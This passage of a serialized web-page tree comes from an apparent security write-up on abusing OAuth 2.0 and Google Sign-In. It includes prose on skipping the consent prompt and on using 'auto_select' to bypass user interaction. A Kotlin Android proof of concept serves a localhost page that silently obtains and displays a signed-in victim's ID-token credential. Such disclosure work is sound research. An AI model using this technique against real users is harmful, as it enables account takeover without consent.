hildren":102333},{"class":92,"line":799},[102334,102338,102342,102346],{"type":24,"tag":90,"props":102335,"children":102336},{"style":97},[102337],{"type":29,"value":72670},{"type":24,"tag":90,"props":102339,"children":102340},{"style":114},[102341],{"type":29,"value":117},{"type":24,"tag":90,"props":102343,"children":102344},{"style":1085},[102345],{"type":29,"value":72679},{"type":24,"tag":90,"props":102347,"children":102348},{"style":114},[102349],{"type":29,"value":1297},{"type":24,"tag":90,"props":102351,"children":102352},{"class":92,"line":807},[102353,102357,102361],{"type":24,"tag":90,"props":102354,"children":102355},{"style":114},[102356],{"type":29,"value":72691},{"type":24,"tag":90,"props":102358,"children":102359},{"style":108},[102360],{"type":29,"value":72696},{"type":24,"tag":90,"props":102362,"children":102363},{"style":114},[102364],{"type":29,"value":269},{"type":24,"tag":90,"props":102366,"children":102367},{"class":92,"line":821},[102368,102372],{"type":24,"tag":90,"props":102369,"children":102370},{"style":108},[102371],{"type":29,"value":72708},{"type":24,"tag":90,"props":102373,"children":102374},{"style":114},[102375],{"type":29,"value":269},{"type":24,"tag":90,"props":102377,"children":102378},{"class":92,"line":6278},[102379,102383,102387,102391,102395],{"type":24,"tag":90,"props":102380,"children":102381},{"style":108},[102382],{"type":29,"value":72720},{"type":24,"tag":90,"props":102384,"children":102385},{"style":114},[102386],{"type":29,"value":72725},{"type":24,"tag":90,"props":102388,"children":102389},{"style":120},[102390],{"type":29,"value":5491},{"type":24,"tag":90,"props":102392,"children":102393},{"style":1085},[102394],{"type":29,"value":72734},{"type":24,"tag":90,"props":102396,"children":102397},{"style":114},[102398],{"type":29,"value":1686},{"type":24,"tag":90,"props":102400,"children":102401},{"class":92,"line":11420},[102402,102406,102410,102414,102418,102422,102426,102430],{"type":24,"tag":90,"props":102403,"children":102404},{"style":108},[102405],{"type":29,"value":72720},{"type":24,"tag":90,"props":102407,"children":102408},{"style":114},[102409],{"type":29,"value":72750},{"type":24,"tag":90,"props":102411,"children":102412},{"style":120},[102413],{"type":29,"value":5491},{"type":24,"tag":90,"props":102415,"children":102416},{"style":1085},[102417],{"type":29,"value":72759},{"type":24,"tag":90,"props":102419,"children":102420},{"style":114},[102421],{"type":29,"value":72764},{"type":24,"tag":90,"props":102423,"children":102424},{"style":120},[102425],{"type":29,"value":5491},{"type":24,"tag":90,"props":102427,"children":102428},{"style":1085},[102429],{"type":29,"value":72773},{"type":24,"tag":90,"props":102431,"children":102432},{"style":114},[102433],{"type":29,"value":1686},{"type":24,"tag":90,"props":102435,"children":102436},{"class":92,"line":11438},[102437,102441,102445,102449],{"type":24,"tag":90,"props":102438,"children":102439},{"style":108},[102440],{"type":29,"value":72785},{"type":24,"tag":90,"props":102442,"children":102443},{"style":114},[102444],{"type":29,"value":117},{"type":24,"tag":90,"props":102446,"children":102447},{"style":1085},[102448],{"type":29,"value":72794},{"type":24,"tag":90,"props":102450,"children":102451},{"style":114},[102452],{"type":29,"value":1686},{"type":24,"tag":90,"props":102454,"children":102455},{"class":92,"line":11483},[102456],{"type":24,"tag":90,"props":102457,"children":102458},{"style":114},[102459],{"type":29,"value":72806},{"type":24,"tag":90,"props":102461,"children":102462},{"class":92,"line":11589},[102463,102467],{"type":24,"tag":90,"props":102464,"children":102465},{"style":108},[102466],{"type":29,"value":72814},{"type":24,"tag":90,"props":102468,"children":102469},{"style":114},[102470],{"type":29,"value":269},{"type":24,"tag":90,"props":102472,"children":102473},{"class":92,"line":25306},[102474,102478,102482,102486,102490],{"type":24,"tag":90,"props":102475,"children":102476},{"style":108},[102477],{"type":29,"value":72826},{"type":24,"tag":90,"props":102479,"children":102480},{"style":114},[102481],{"type":29,"value":1196},{"type":24,"tag":90,"props":102483,"children":102484},{"style":120},[102485],{"type":29,"value":6767},{"type":24,"tag":90,"props":102487,"children":102488},{"style":1085},[102489],{"type":29,"value":72839},{"type":24,"tag":90,"props":102491,"children":102492},{"style":114},[102493],{"type":29,"value":11967},{"type":24,"tag":90,"props":102495,"children":102496},{"class":92,"line":25341},[102497,102501],{"type":24,"tag":90,"props":102498,"children":102499},{"style":108},[102500],{"type":29,"value":72851},{"type":24,"tag":90,"props":102502,"children":102503},{"style":114},[102504],{"type":29,"value":269},{"type":24,"tag":90,"props":102506,"children":102507},{"class":92,"line":25349},[102508,102512],{"type":24,"tag":90,"props":102509,"children":102510},{"style":120},[102511],{"type":29,"value":72863},{"type":24,"tag":90,"props":102513,"children":102514},{"style":1085},[102515],{"type":29,"value":102516},"\"document.body.innerText = location.hash;\"\n",{"type":24,"tag":90,"props":102518,"children":102519},{"class":92,"line":25357},[102520],{"type":24,"tag":90,"props":102521,"children":102522},{"style":114},[102523],{"type":29,"value":72876},{"type":24,"tag":90,"props":102525,"children":102526},{"class":92,"line":25366},[102527],{"type":24,"tag":90,"props":102528,"children":102529},{"style":114},[102530],{"type":29,"value":72806},{"type":24,"tag":90,"props":102532,"children":102533},{"class":92,"line":25408},[102534],{"type":24,"tag":90,"props":102535,"children":102536},{"style":114},[102537],{"type":29,"value":72891},{"type":24,"tag":90,"props":102539,"children":102540},{"class":92,"line":25441},[102541],{"type":24,"tag":90,"props":102542,"children":102543},{"style":114},[102544],{"type":29,"value":72899},{"type":24,"tag":90,"props":102546,"children":102547},{"class":92,"line":25449},[102548],{"type":24,"tag":90,"props":102549,"children":102550},{"style":114},[102551],{"type":29,"value":60710},{"type":24,"tag":90,"props":102553,"children":102554},{"class":92,"line":25457},[102555,102559,102563,102567,102571,102575],{"type":24,"tag":90,"props":102556,"children":102557},{"style":114},[102558],{"type":29,"value":72914},{"type":24,"tag":90,"props":102560,"children":102561},{"style":108},[102562],{"type":29,"value":72919},{"type":24,"tag":90,"props":102564,"children":102565},{"style":114},[102566],{"type":29,"value":72924},{"type":24,"tag":90,"props":102568,"children":102569},{"style":120},[102570],{"type":29,"value":5491},{"type":24,"tag":90,"props":102572,"children":102573},{"style":97},[102574],{"type":29,"value":14835},{"type":24,"tag":90,"props":102576,"children":102577},{"style":114},[102578],{"type":29,"value":1686},{"type":24,"tag":90,"props":102580,"children":102581},{"class":92,"line":25466},[102582],{"type":24,"tag":90,"props":102583,"children":102584},{"style":114},[102585],{"type":29,"value":612},{"type":24,"tag":25,"props":102587,"children":102588},{},[102589],{"type":29,"value":102590},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":24,"tag":25,"props":102592,"children":102593},{},[102594,102596,102602],{"type":29,"value":102595},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":24,"tag":32,"props":102597,"children":102599},{"className":102598},[],[102600],{"type":29,"value":102601},"auto_select",{"type":29,"value":102603}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":24,"tag":80,"props":102605,"children":102607},{"className":101963,"code":102606,"language":101965,"meta":7,"style":7}," override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n title(\"Test\")\n script {\n src = \"https://accounts.google.com/gsi/client\"\n attributes[\"async\"] = \"\"\n attributes[\"defer\"] = \"\"\n }\n script {\n unsafe {\n +\"\"\"\n function handleCredentialResponse(response) {\n alert(\"credential: \" + response.credential);\n }\n\n window.onload = async function () {\n const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n const client_id = oauth_url.searchParams.get(\"client_id\");\n google.accounts.id.initialize({\n client_id: client_id,\n callback: handleCredentialResponse,\n auto_select: true\n });\n\n google.accounts.id.renderButton(\n document.getElementById(\"g_id_signin\"),\n { theme: \"outline\", size: \"large\" }\n );\n\n google.accounts.id.prompt();\n };\n \"\"\".trimIndent()\n }\n }\n }\n body {\n h1 { +\"Login here:\" }\n div {\n id = \"g_id_signin\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n",[102608],{"type":24,"tag":32,"props":102609,"children":102610},{"__ignoreMap":7},[102611,102638,102657,102664,102683,102694,102705,102736,102759,102806,102813,102820,102827,102867,102878,102885,102892,102911,102934,102945,102964,102979,102990,103010,103021,103038,103064,103088,103095,103106,103118,103131,103139,103147,103154,103161,103169,103177,103185,103193,103201,103209,103217,103224,103231,103239,103247,103255,103262,103269,103277,103284,103305,103313,103320,103327,103338,103362,103374,103391,103398,103405,103413,103421,103429,103457],{"type":24,"tag":90,"props":102612,"children":102613},{"class":92,"line":93},[102614,102618,102622,102626,102630,102634],{"type":24,"tag":90,"props":102615,"children":102616},{"style":97},[102617],{"type":29,"value":72272},{"type":24,"tag":90,"props":102619,"children":102620},{"style":97},[102621],{"type":29,"value":8592},{"type":24,"tag":90,"props":102623,"children":102624},{"style":108},[102625],{"type":29,"value":72281},{"type":24,"tag":90,"props":102627,"children":102628},{"style":114},[102629],{"type":29,"value":72286},{"type":24,"tag":90,"props":102631,"children":102632},{"style":146},[102633],{"type":29,"value":72291},{"type":24,"tag":90,"props":102635,"children":102636},{"style":114},[102637],{"type":29,"value":72296},{"type":24,"tag":90,"props":102639,"children":102640},{"class":92,"line":200},[102641,102645,102649,102653],{"type":24,"tag":90,"props":102642,"children":102643},{"style":97},[102644],{"type":29,"value":72304},{"type":24,"tag":90,"props":102646,"children":102647},{"style":114},[102648],{"type":29,"value":226},{"type":24,"tag":90,"props":102650,"children":102651},{"style":108},[102652],{"type":29,"value":72313},{"type":24,"tag":90,"props":102654,"children":102655},{"style":114},[102656],{"type":29,"value":72318},{"type":24,"tag":90,"props":102658,"children":102659},{"class":92,"line":239},[102660],{"type":24,"tag":90,"props":102661,"children":102662},{"emptyLinePlaceholder":16},[102663],{"type":29,"value":245},{"type":24,"tag":90,"props":102665,"children":102666},{"class":92,"line":248},[102667,102671,102675,102679],{"type":24,"tag":90,"props":102668,"children":102669},{"style":108},[102670],{"type":29,"value":72341},{"type":24,"tag":90,"props":102672,"children":102673},{"style":114},[102674],{"type":29,"value":72346},{"type":24,"tag":90,"props":102676,"children":102677},{"style":108},[102678],{"type":29,"value":72351},{"type":24,"tag":90,"props":102680,"children":102681},{"style":114},[102682],{"type":29,"value":269},{"type":24,"tag":90,"props":102684,"children":102685},{"class":92,"line":258},[102686,102690],{"type":24,"tag":90,"props":102687,"children":102688},{"style":636},[102689],{"type":29,"value":72363},{"type":24,"tag":90,"props":102691,"children":102692},{"style":114},[102693],{"type":29,"value":269},{"type":24,"tag":90,"props":102695,"children":102696},{"class":92,"line":272},[102697,102701],{"type":24,"tag":90,"props":102698,"children":102699},{"style":108},[102700],{"type":29,"value":72375},{"type":24,"tag":90,"props":102702,"children":102703},{"style":114},[102704],{"type":29,"value":2121},{"type":24,"tag":90,"props":102706,"children":102707},{"class":92,"line":281},[102708,102712,102716,102720,102724,102728,102732],{"type":24,"tag":90,"props":102709,"children":102710},{"style":114},[102711],{"type":29,"value":72387},{"type":24,"tag":90,"props":102713,"children":102714},{"style":108},[102715],{"type":29,"value":72392},{"type":24,"tag":90,"props":102717,"children":102718},{"style":114},[102719],{"type":29,"value":117},{"type":24,"tag":90,"props":102721,"children":102722},{"style":1085},[102723],{"type":29,"value":72401},{"type":24,"tag":90,"props":102725,"children":102726},{"style":114},[102727],{"type":29,"value":133},{"type":24,"tag":90,"props":102729,"children":102730},{"style":1085},[102731],{"type":29,"value":72410},{"type":24,"tag":90,"props":102733,"children":102734},{"style":114},[102735],{"type":29,"value":1686},{"type":24,"tag":90,"props":102737,"children":102738},{"class":92,"line":384},[102739,102743,102747,102751,102755],{"type":24,"tag":90,"props":102740,"children":102741},{"style":114},[102742],{"type":29,"value":72422},{"type":24,"tag":90,"props":102744,"children":102745},{"style":97},[102746],{"type":29,"value":50234},{"type":24,"tag":90,"props":102748,"children":102749},{"style":114},[102750],{"type":29,"value":72431},{"type":24,"tag":90,"props":102752,"children":102753},{"style":146},[102754],{"type":29,"value":72436},{"type":24,"tag":90,"props":102756,"children":102757},{"style":114},[102758],{"type":29,"value":1297},{"type":24,"tag":90,"props":102760,"children":102761},{"class":92,"line":420},[102762,102766,102770,102774,102778,102782,102786,102790,102794,102798,102802],{"type":24,"tag":90,"props":102763,"children":102764},{"style":114},[102765],{"type":29,"value":72387},{"type":24,"tag":90,"props":102767,"children":102768},{"style":108},[102769],{"type":29,"value":53278},{"type":24,"tag":90,"props":102771,"children":102772},{"style":114},[102773],{"type":29,"value":117},{"type":24,"tag":90,"props":102775,"children":102776},{"style":1085},[102777],{"type":29,"value":72401},{"type":24,"tag":90,"props":102779,"children":102780},{"style":114},[102781],{"type":29,"value":133},{"type":24,"tag":90,"props":102783,"children":102784},{"style":1085},[102785],{"type":29,"value":72468},{"type":24,"tag":90,"props":102787,"children":102788},{"style":97},[102789],{"type":29,"value":35923},{"type":24,"tag":90,"props":102791,"children":102792},{"style":120},[102793],{"type":29,"value":72477},{"type":24,"tag":90,"props":102795,"children":102796},{"style":97},[102797],{"type":29,"value":35955},{"type":24,"tag":90,"props":102799,"children":102800},{"style":1085},[102801],{"type":29,"value":21855},{"type":24,"tag":90,"props":102803,"children":102804},{"style":114},[102805],{"type":29,"value":72490},{"type":24,"tag":90,"props":102807,"children":102808},{"class":92,"line":428},[102809],{"type":24,"tag":90,"props":102810,"children":102811},{"style":114},[102812],{"type":29,"value":60710},{"type":24,"tag":90,"props":102814,"children":102815},{"class":92,"line":437},[102816],{"type":24,"tag":90,"props":102817,"children":102818},{"style":114},[102819],{"type":29,"value":5740},{"type":24,"tag":90,"props":102821,"children":102822},{"class":92,"line":574},[102823],{"type":24,"tag":90,"props":102824,"children":102825},{"emptyLinePlaceholder":16},[102826],{"type":29,"value":245},{"type":24,"tag":90,"props":102828,"children":102829},{"class":92,"line":606},[102830,102834,102838,102842,102846,102850,102854,102858,102863],{"type":24,"tag":90,"props":102831,"children":102832},{"style":97},[102833],{"type":29,"value":72527},{"type":24,"tag":90,"props":102835,"children":102836},{"style":114},[102837],{"type":29,"value":72553},{"type":24,"tag":90,"props":102839,"children":102840},{"style":120},[102841],{"type":29,"value":5491},{"type":24,"tag":90,"props":102843,"children":102844},{"style":108},[102845],{"type":29,"value":72562},{"type":24,"tag":90,"props":102847,"children":102848},{"style":114},[102849],{"type":29,"value":72567},{"type":24,"tag":90,"props":102851,"children":102852},{"style":108},[102853],{"type":29,"value":41028},{"type":24,"tag":90,"props":102855,"children":102856},{"style":114},[102857],{"type":29,"value":117},{"type":24,"tag":90,"props":102859,"children":102860},{"style":1085},[102861],{"type":29,"value":102862},"\"http://localhost:3000\"",{"type":24,"tag":90,"props":102864,"children":102865},{"style":114},[102866],{"type":29,"value":21507},{"type":24,"tag":90,"props":102868,"children":102869},{"class":92,"line":615},[102870,102874],{"type":24,"tag":90,"props":102871,"children":102872},{"style":108},[102873],{"type":29,"value":72584},{"type":24,"tag":90,"props":102875,"children":102876},{"style":114},[102877],{"type":29,"value":72589},{"type":24,"tag":90,"props":102879,"children":102880},{"class":92,"line":623},[102881],{"type":24,"tag":90,"props":102882,"children":102883},{"style":114},[102884],{"type":29,"value":612},{"type":24,"tag":90,"props":102886,"children":102887},{"class":92,"line":632},[102888],{"type":24,"tag":90,"props":102889,"children":102890},{"emptyLinePlaceholder":16},[102891],{"type":29,"value":245},{"type":24,"tag":90,"props":102893,"children":102894},{"class":92,"line":669},[102895,102899,102903,102907],{"type":24,"tag":90,"props":102896,"children":102897},{"style":97},[102898],{"type":29,"value":72611},{"type":24,"tag":90,"props":102900,"children":102901},{"style":97},[102902],{"type":29,"value":8592},{"type":24,"tag":90,"props":102904,"children":102905},{"style":108},[102906],{"type":29,"value":72620},{"type":24,"tag":90,"props":102908,"children":102909},{"style":114},[102910],{"type":29,"value":2245},{"type":24,"tag":90,"props":102912,"children":102913},{"class":92,"line":683},[102914,102918,102922,102926,102930],{"type":24,"tag":90,"props":102915,"children":102916},{"style":108},[102917],{"type":29,"value":72632},{"type":24,"tag":90,"props":102919,"children":102920},{"style":114},[102921],{"type":29,"value":72637},{"type":24,"tag":90,"props":102923,"children":102924},{"style":120},[102925],{"type":29,"value":5491},{"type":24,"tag":90,"props":102927,"children":102928},{"style":349},[102929],{"type":29,"value":72646},{"type":24,"tag":90,"props":102931,"children":102932},{"style":114},[102933],{"type":29,"value":1297},{"type":24,"tag":90,"props":102935,"children":102936},{"class":92,"line":737},[102937,102941],{"type":24,"tag":90,"props":102938,"children":102939},{"style":108},[102940],{"type":29,"value":72658},{"type":24,"tag":90,"props":102942,"children":102943},{"style":114},[102944],{"type":29,"value":269},{"type":24,"tag":90,"props":102946,"children":102947},{"class":92,"line":751},[102948,102952,102956,102960],{"type":24,"tag":90,"props":102949,"children":102950},{"style":97},[102951],{"type":29,"value":72670},{"type":24,"tag":90,"props":102953,"children":102954},{"style":114},[102955],{"type":29,"value":117},{"type":24,"tag":90,"props":102957,"children":102958},{"style":1085},[102959],{"type":29,"value":72679},{"type":24,"tag":90,"props":102961,"children":102962},{"style":114},[102963],{"type":29,"value":1297},{"type":24,"tag":90,"props":102965,"children":102966},{"class":92,"line":782},[102967,102971,102975],{"type":24,"tag":90,"props":102968,"children":102969},{"style":114},[102970],{"type":29,"value":72691},{"type":24,"tag":90,"props":102972,"children":102973},{"style":108},[102974],{"type":29,"value":72696},{"type":24,"tag":90,"props":102976,"children":102977},{"style":114},[102978],{"type":29,"value":269},{"type":24,"tag":90,"props":102980,"children":102981},{"class":92,"line":791},[102982,102986],{"type":24,"tag":90,"props":102983,"children":102984},{"style":108},[102985],{"type":29,"value":72708},{"type":24,"tag":90,"props":102987,"children":102988},{"style":114},[102989],{"type":29,"value":269},{"type":24,"tag":90,"props":102991,"children":102992},{"class":92,"line":799},[102993,102997,103001,103006],{"type":24,"tag":90,"props":102994,"children":102995},{"style":108},[102996],{"type":29,"value":72785},{"type":24,"tag":90,"props":102998,"children":102999},{"style":114},[103000],{"type":29,"value":117},{"type":24,"tag":90,"props":103002,"children":103003},{"style":1085},[103004],{"type":29,"value":103005},"\"Test\"",{"type":24,"tag":90,"props":103007,"children":103008},{"style":114},[103009],{"type":29,"value":1686},{"type":24,"tag":90,"props":103011,"children":103012},{"class":92,"line":807},[103013,103017],{"type":24,"tag":90,"props":103014,"children":103015},{"style":108},[103016],{"type":29,"value":72851},{"type":24,"tag":90,"props":103018,"children":103019},{"style":114},[103020],{"type":29,"value":269},{"type":24,"tag":90,"props":103022,"children":103023},{"class":92,"line":821},[103024,103029,103033],{"type":24,"tag":90,"props":103025,"children":103026},{"style":114},[103027],{"type":29,"value":103028}," src ",{"type":24,"tag":90,"props":103030,"children":103031},{"style":120},[103032],{"type":29,"value":5491},{"type":24,"tag":90,"props":103034,"children":103035},{"style":1085},[103036],{"type":29,"value":103037}," \"https://accounts.google.com/gsi/client\"\n",{"type":24,"tag":90,"props":103039,"children":103040},{"class":92,"line":6278},[103041,103046,103051,103055,103059],{"type":24,"tag":90,"props":103042,"children":103043},{"style":114},[103044],{"type":29,"value":103045}," attributes[",{"type":24,"tag":90,"props":103047,"children":103048},{"style":1085},[103049],{"type":29,"value":103050},"\"async\"",{"type":24,"tag":90,"props":103052,"children":103053},{"style":114},[103054],{"type":29,"value":11037},{"type":24,"tag":90,"props":103056,"children":103057},{"style":120},[103058],{"type":29,"value":5491},{"type":24,"tag":90,"props":103060,"children":103061},{"style":1085},[103062],{"type":29,"value":103063}," \"\"\n",{"type":24,"tag":90,"props":103065,"children":103066},{"class":92,"line":11420},[103067,103071,103076,103080,103084],{"type":24,"tag":90,"props":103068,"children":103069},{"style":114},[103070],{"type":29,"value":103045},{"type":24,"tag":90,"props":103072,"children":103073},{"style":1085},[103074],{"type":29,"value":103075},"\"defer\"",{"type":24,"tag":90,"props":103077,"children":103078},{"style":114},[103079],{"type":29,"value":11037},{"type":24,"tag":90,"props":103081,"children":103082},{"style":120},[103083],{"type":29,"value":5491},{"type":24,"tag":90,"props":103085,"children":103086},{"style":1085},[103087],{"type":29,"value":103063},{"type":24,"tag":90,"props":103089,"children":103090},{"class":92,"line":11438},[103091],{"type":24,"tag":90,"props":103092,"children":103093},{"style":114},[103094],{"type":29,"value":72876},{"type":24,"tag":90,"props":103096,"children":103097},{"class":92,"line":11483},[103098,103102],{"type":24,"tag":90,"props":103099,"children":103100},{"style":108},[103101],{"type":29,"value":72851},{"type":24,"tag":90,"props":103103,"children":103104},{"style":114},[103105],{"type":29,"value":269},{"type":24,"tag":90,"props":103107,"children":103108},{"class":92,"line":11589},[103109,103114],{"type":24,"tag":90,"props":103110,"children":103111},{"style":108},[103112],{"type":29,"value":103113}," unsafe",{"type":24,"tag":90,"props":103115,"children":103116},{"style":114},[103117],{"type":29,"value":269},{"type":24,"tag":90,"props":103119,"children":103120},{"class":92,"line":25306},[103121,103126],{"type":24,"tag":90,"props":103122,"children":103123},{"style":120},[103124],{"type":29,"value":103125}," +",{"type":24,"tag":90,"props":103127,"children":103128},{"style":1085},[103129],{"type":29,"value":103130},"\"\"\"\n",{"type":24,"tag":90,"props":103132,"children":103133},{"class":92,"line":25341},[103134],{"type":24,"tag":90,"props":103135,"children":103136},{"style":1085},[103137],{"type":29,"value":103138}," function handleCredentialResponse(response) {\n",{"type":24,"tag":90,"props":103140,"children":103141},{"class":92,"line":25349},[103142],{"type":24,"tag":90,"props":103143,"children":103144},{"style":1085},[103145],{"type":29,"value":103146}," alert(\"credential: \" + response.credential);\n",{"type":24,"tag":90,"props":103148,"children":103149},{"class":92,"line":25357},[103150],{"type":24,"tag":90,"props":103151,"children":103152},{"style":1085},[103153],{"type":29,"value":612},{"type":24,"tag":90,"props":103155,"children":103156},{"class":92,"line":25366},[103157],{"type":24,"tag":90,"props":103158,"children":103159},{"emptyLinePlaceholder":16},[103160],{"type":29,"value":245},{"type":24,"tag":90,"props":103162,"children":103163},{"class":92,"line":25408},[103164],{"type":24,"tag":90,"props":103165,"children":103166},{"style":1085},[103167],{"type":29,"value":103168}," window.onload = async function () {\n",{"type":24,"tag":90,"props":103170,"children":103171},{"class":92,"line":25441},[103172],{"type":24,"tag":90,"props":103173,"children":103174},{"style":1085},[103175],{"type":29,"value":103176}," const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":24,"tag":90,"props":103178,"children":103179},{"class":92,"line":25449},[103180],{"type":24,"tag":90,"props":103181,"children":103182},{"style":1085},[103183],{"type":29,"value":103184}," const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":24,"tag":90,"props":103186,"children":103187},{"class":92,"line":25457},[103188],{"type":24,"tag":90,"props":103189,"children":103190},{"style":1085},[103191],{"type":29,"value":103192}," google.accounts.id.initialize({\n",{"type":24,"tag":90,"props":103194,"children":103195},{"class":92,"line":25466},[103196],{"type":24,"tag":90,"props":103197,"children":103198},{"style":1085},[103199],{"type":29,"value":103200}," client_id: client_id,\n",{"type":24,"tag":90,"props":103202,"children":103203},{"class":92,"line":25542},[103204],{"type":24,"tag":90,"props":103205,"children":103206},{"style":1085},[103207],{"type":29,"value":103208}," callback: handleCredentialResponse,\n",{"type":24,"tag":90,"props":103210,"children":103211},{"class":92,"line":25575},[103212],{"type":24,"tag":90,"props":103213,"children":103214},{"style":1085},[103215],{"type":29,"value":103216}," auto_select: true\n",{"type":24,"tag":90,"props":103218,"children":103219},{"class":92,"line":25583},[103220],{"type":24,"tag":90,"props":103221,"children":103222},{"style":1085},[103223],{"type":29,"value":9677},{"type":24,"tag":90,"props":103225,"children":103226},{"class":92,"line":25591},[103227],{"type":24,"tag":90,"props":103228,"children":103229},{"emptyLinePlaceholder":16},[103230],{"type":29,"value":245},{"type":24,"tag":90,"props":103232,"children":103233},{"class":92,"line":25628},[103234],{"type":24,"tag":90,"props":103235,"children":103236},{"style":1085},[103237],{"type":29,"value":103238}," google.accounts.id.renderButton(\n",{"type":24,"tag":90,"props":103240,"children":103241},{"class":92,"line":25641},[103242],{"type":24,"tag":90,"props":103243,"children":103244},{"style":1085},[103245],{"type":29,"value":103246}," document.getElementById(\"g_id_signin\"),\n",{"type":24,"tag":90,"props":103248,"children":103249},{"class":92,"line":25654},[103250],{"type":24,"tag":90,"props":103251,"children":103252},{"style":1085},[103253],{"type":29,"value":103254}," { theme: \"outline\", size: \"large\" }\n",{"type":24,"tag":90,"props":103256,"children":103257},{"class":92,"line":25667},[103258],{"type":24,"tag":90,"props":103259,"children":103260},{"style":1085},[103261],{"type":29,"value":9150},{"type":24,"tag":90,"props":103263,"children":103264},{"class":92,"line":25721},[103265],{"type":24,"tag":90,"props":103266,"children":103267},{"emptyLinePlaceholder":16},[103268],{"type":29,"value":245},{"type":24,"tag":90,"props":103270,"children":103271},{"class":92,"line":25730},[103272],{"type":24,"tag":90,"props":103273,"children":103274},{"style":1085},[103275],{"type":29,"value":103276}," google.accounts.id.prompt();\n",{"type":24,"tag":90,"props":103278,"children":103279},{"class":92,"line":34094},[103280],{"type":24,"tag":90,"props":103281,"children":103282},{"style":1085},[103283],{"type":29,"value":40813},{"type":24,"tag":90,"props":103285,"children":103286},{"class":92,"line":34115},[103287,103292,103296,103301],{"type":24,"tag":90,"props":103288,"children":103289},{"style":1085},[103290],{"type":29,"value":103291}," \"\"\"",{"type":24,"tag":90,"props":103293,"children":103294},{"style":114},[103295],{"type":29,"value":226},{"type":24,"tag":90,"props":103297,"children":103298},{"style":108},[103299],{"type":29,"value":103300},"trimIndent",{"type":24,"tag":90,"props":103302,"children":103303},{"style":114},[103304],{"type":29,"value":2121},{"type":24,"tag":90,"props":103306,"children":103307},{"class":92,"line":82781},[103308],{"type":24,"tag":90,"props":103309,"children":103310},{"style":114},[103311],{"type":29,"value":103312}," }\n",{"type":24,"tag":90,"props":103314,"children":103315},{"class":92,"line":82794},[103316],{"type":24,"tag":90,"props":103317,"children":103318},{"style":114},[103319],{"type":29,"value":72876},{"type":24,"tag":90,"props":103321,"children":103322},{"class":92,"line":82802},[103323],{"type":24,"tag":90,"props":103324,"children":103325},{"style":114},[103326],{"type":29,"value":72806},{"type":24,"tag":90,"props":103328,"children":103329},{"class":92,"line":82810},[103330,103334],{"type":24,"tag":90,"props":103331,"children":103332},{"style":108},[103333],{"type":29,"value":72814},{"type":24,"tag":90,"props":103335,"children":103336},{"style":114},[103337],{"type":29,"value":269},{"type":24,"tag":90,"props":103339,"children":103340},{"class":92,"line":82818},[103341,103345,103349,103353,103358],{"type":24,"tag":90,"props":103342,"children":103343},{"style":108},[103344],{"type":29,"value":72826},{"type":24,"tag":90,"props":103346,"children":103347},{"style":114},[103348],{"type":29,"value":1196},{"type":24,"tag":90,"props":103350,"children":103351},{"style":120},[103352],{"type":29,"value":6767},{"type":24,"tag":90,"props":103354,"children":103355},{"style":1085},[103356],{"type":29,"value":103357},"\"Login here:\"",{"type":24,"tag":90,"props":103359,"children":103360},{"style":114},[103361],{"type":29,"value":11967},{"type":24,"tag":90,"props":103363,"children":103364},{"class":92,"line":82858},[103365,103370],{"type":24,"tag":90,"props":103366,"children":103367},{"style":108},[103368],{"type":29,"value":103369}," div",{"type":24,"tag":90,"props":103371,"children":103372},{"style":114},[103373],{"type":29,"value":269},{"type":24,"tag":90,"props":103375,"children":103376},{"class":92,"line":82866},[103377,103382,103386],{"type":24,"tag":90,"props":103378,"children":103379},{"style":114},[103380],{"type":29,"value":103381}," id 